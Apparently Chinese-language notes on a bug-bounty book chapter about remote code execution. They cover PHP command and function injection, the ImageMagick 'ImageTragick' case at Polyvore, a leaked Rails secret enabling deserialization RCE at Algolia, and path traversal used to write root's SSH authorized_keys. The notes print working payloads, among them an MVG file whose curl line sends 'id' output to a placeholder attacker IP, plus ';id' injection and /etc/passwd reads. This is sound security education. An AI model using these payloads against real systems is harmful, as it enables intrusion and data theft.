遠端程式碼執行(Remote Code Execution,RCE)發生在應用程式使用未 sanitize 的使用者輸入時。RCE 通常以兩種方式被利用:

  1. 執行 shell 指令——攻擊者可在伺服器作業系統層級下指令
  2. 執行程式語言函式——攻擊者觸發應用程式語言內建函式

透過 Shell 指令執行#

考慮一段 PHP,提供 ping 服務:

$domain = $_GET['domain'];
echo shell_exec("ping -c 1 $domain");

正常 ?domain=google.com 沒事;攻擊者送 ?domain=google.com;id

PING google.com (172.217.5.110) 56(84) bytes of data.
...
uid=1000(yaworsk) gid=1000(yaworsk) groups=1000(yaworsk)

; 在 bash 把指令串起,id 同時被執行——回應裡夾帶執行身份資訊。

RCE 嚴重度取決於執行身份的權限。如果以 root 跑,整台機器都可被攻陷;以低權限身分跑,攻擊者可能還需透過 本地提權(Local Privilege Escalation,LPE) 才能造成更大破壞。

防禦:escapeshellcmd 與其侷限#

PHP 的 escapeshellcmd 會把可能讓 shell 解析成額外指令的字元跳脫掉。但要注意:

  • 不會阻止傳遞命令列旗標
  • 例如 -o 之類的旗標可能改變指令行為,仍可造成漏洞

透過函式執行#

$action = $_GET['action'];
$id = $_GET['id'];
call_user_func($action, $id);

正常 ?id=1&action=view 顯示文章;但攻擊者送:

?id=/etc/passwd&action=file_get_contents

等同於 file_get_contents("/etc/passwd")——讀出整份密碼檔。如果參數沒過濾,還能呼叫 shell_execsystemexec 直接跳到 shell 指令層級。

RCE 升級的常見方向#

  • 任意檔案上傳:上傳 .php 後直接拜訪該檔,伺服器當原生程式碼執行
  • 範本注入:第 8 章已示範 Jinja2、Smarty 升級為 RCE
  • Deserialization:未經驗證的物件反序列化常導致 RCE
  • LPE:核心漏洞、以 root 跑的 service、SUID 執行檔

找 RCE 線索時,留意 URL 參數中:

  • 系統層級指令的字眼(pingwhois
  • action=func= 這類「函式名稱可控」的設計
  • 可上傳任意檔案的入口

案例 1:Polyvore ImageMagick#

背景#

ImageMagick 是廣泛使用的影像處理函式庫。2016 年 4 月公開揭露多個漏洞,其中最嚴重的是 delegate 功能(將處理委託給外部程式):

"wget" -q -O "%o" "https:%M"

%M 是使用者控制的網域,未 sanitize。送入:

https://example.com";|ls "-la

伺服器實際執行:

wget -q -O "%o" "https://example.com";|ls "-la"

; 串起額外指令——RCE 成立。

ImageMagick 會根據檔案內容判斷格式,而非副檔名。攻擊者把 .mvg 改名為 .jpg 仍會被當 MVG 處理,繞過副檔名檢查。

漏洞描述#

研究者 Ben Sadeghipour 在自己伺服器先重現 PoC,再到尚未修補的站點測試。他用 imagetragick.com 提供的範例 MVG:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:8080/ -d @- > /dev/null`'
pop graphic-context

關鍵:

  • 反引號 ` 讓 shell 先執行 id,再把輸出
  • | 透過 curl -d @- 以 POST 送回 Sadeghipour 的 IP
  • > /dev/null 把所有輸出丟掉,避免目標機器留下蛛絲馬跡

他用 nc -l -n -vv -p 8080 在自己機器監聽,把這個 MVG 上傳成 Polyvore 的圖片,立刻收到帶有 uid=... 的 POST 請求。

Takeaways#

  1. 訂閱套件公告:CVE 揭露後,掃描尚未修補的目標常能挖到漏洞
  2. 在自家伺服器先重現 PoC:能保證 payload 真的有效,再把目標換成正式測試對象

案例 2:Algolia RCE on facebooksearch.algolia.com#

漏洞描述#

HackerOne 共同創辦人 Michiel Prins 用 Gitrob 掃 Algolia 相關 GitHub repo,搜尋 passwordsecretdatabase 等敏感關鍵字。發現 Algolia 把 Rails 的 secret_key_base 直接 commit 到公開 repo。

Rails 用 secret_key_base 對 Cookie 簽章,預設情境下還會把 session 序列化進 Cookie。一旦這個 secret 外洩:

  • 攻擊者可以偽造任意簽章 Cookie
  • 若 cookiestore 被反序列化時遇到惡意物件 → RCE

Prins 用 Metasploit 的 Rails Secret Deserialization 模組產生會觸發 reverse shell 的 Cookie,送往 Algolia 後成功取得 shell。執行 id 顯示 uid=1000(prod) ...,並建立 hackerone.txt 作為 PoC。

Takeaways#

案例 3:RCE Through SSH#

漏洞描述#

Jasmin Landry 的攻擊鏈展示了「找不到直接 RCE,可用任意檔案寫入轉成 SSH 公鑰寫入」的經典手法:

  1. 用 Sublist3r、Aquatone、Nmap 找到大量子網域
  2. EyeWitness 自動截圖快速篩出可疑站點
  3. 找到一個老舊開源 CMS,預設帳密 admin:admin 直接登入
  4. 審原始碼發現服務以 root 跑——大紅旗
  5. 找到 POST /api/i/services/site/write-configuration.json?path=... 端點,可寫入任意檔案
  6. ../../../../... 路徑遍歷
  7. 嘗試直接寫入 PHP 但無法執行 → 改寫 SSH 公鑰:
    path=../../../../../../../../../../../../root/.ssh/authorized_keys
  8. 用自己的 SSH 私鑰登入 → id 顯示 uid=0(root)

Takeaways#

  • 子網域列舉是大型目標的必修課
  • 第一招(檔案寫入 → PHP 執行)失敗時,重新思考路徑——SSH 公鑰、cron job、systemd unit 都是可寫的高價值檔
  • 完整的影響鏈會直接拉高獎金級距

章末總結#

  • RCE 有兩種主流形式:指令注入函式注入
  • 影響取決於執行身份;root → 全機淪陷
  • 找漏洞線索:
    • URL 參數出現 pingexecaction 等系統相關字眼
    • 任意檔案上傳且伺服器會解譯
    • 套件 CVE 公告後尚未修補的站點
    • GitHub 上洩漏的 secret/token
  • 找到後別急著停手——可串接:檔案寫入 → SSH key、檔案讀取 → 設定外洩、Deserialization → reverse shell